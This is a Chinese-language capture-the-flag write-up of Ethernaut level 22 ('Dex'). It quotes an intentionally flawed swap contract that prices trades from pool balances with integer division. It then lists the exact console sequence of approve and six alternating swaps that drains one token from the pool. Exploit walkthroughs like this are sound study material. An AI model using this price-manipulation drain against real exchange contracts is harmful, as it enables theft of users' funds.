Ethernaut – level 22 : Dex

(https://ethernaut.openzeppelin.com/level/0xC084FC117324D7C628dBC41F17CAcAaF4765f49e)

在這一關中我們一開始會得到10枚 token1 及 10枚 token2的 ERC20代幣,同時呢,遊戲關卡instance手上有100枚 token1 及100枚token2,我們的目標是利用規則來將instance手上的任一種token拿光。

contract Dex is Ownable {
  
  address public token1;
  address public token2;

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
    
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

仔細觀察題目後,發現這題並沒有Hack的手段,照著它程式的規則走,即可以達成。

觀察swap(token1,token2,amount)的程式碼,它會從player手中移走amount量的token1,給到instance的token1,但同時呢,會把instance 的token2 移走 getSwapPrice(token1, token2, amount)數量給到player,而getSwapPrice的公式是 amount*(instance token2數量/instance token1數量)。另外,swap也可以輸入成swap(token2, token1, amount),這樣如果token1被移光了,我們可以從token2再移回token1。簡而言之,token1依照指定的數量從player移到instance,然後instance把token2移到player,但移動的量如上公式。

上述的說明看起來比較複雜,我們將公式帶入excel試算表得到如下:

因此到step 6我們已經可以達成將instance token1提光的目標了~(注意,第六步時雖然player 的token2有65個,但輸入的amount是45,這是因為這樣的amount算出來的SwapAmount=110,已經會提光instance的token1了,另外,SwapAmount計算時需要取整數uint)

因此打開console,照著以下打就可以過關囉。

let a = await contract.token1();
let b = await contract.token2();
await contract.approve(instance, 1000); //因為為ERC20,需要有allowance才能轉移,我們這邊一次處理掉approve的需求。
await contract.swap(a, b, 10);
await contract.swap(b, a, 20);
await contract.swap(a, b, 24);
await contract.swap(b, a, 30);
await contract.swap(a, b, 41);
await contract.swap(b, a, 45); 
//中間過程可用await contract.balanceOf(a,player)來check是否有順利地轉移token
//最後一步後可發現await contract.balanceOf(a,player)= 110

這一題看起來比較像是讓我們熟悉ERC20,根據程式的規則走就可以了。

但是,卡在contract.approve()!,當執行await contract.approve(instance, 1000)時會出現MetaMask錢包卡住一直轉圈圈的情況,這個據猜測應該是MetaMask要顯示某些訊息(可能是approve兩筆)時出現問題,而無法往下進行,並不是這個題目的問題。

解法: 因為MetaMask的問題,我們無法使用contract.approve()這支函數,但是我們可以分別對token1及token2 approve,做法是用Remix,寫一個.sol,內容只需要

pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

然後compile後,於deploy的地方選擇 At Address (輸入token1的address),就會有token1的approve函數可以用,同樣的,再deploy的地方按下At Address(輸入token2的address),就可以用token2的approve函數。

At Address輸入token1的address, 下面出現的函數按鈕approve可以單獨approve token1。

後面就照著上述的程式即可過關。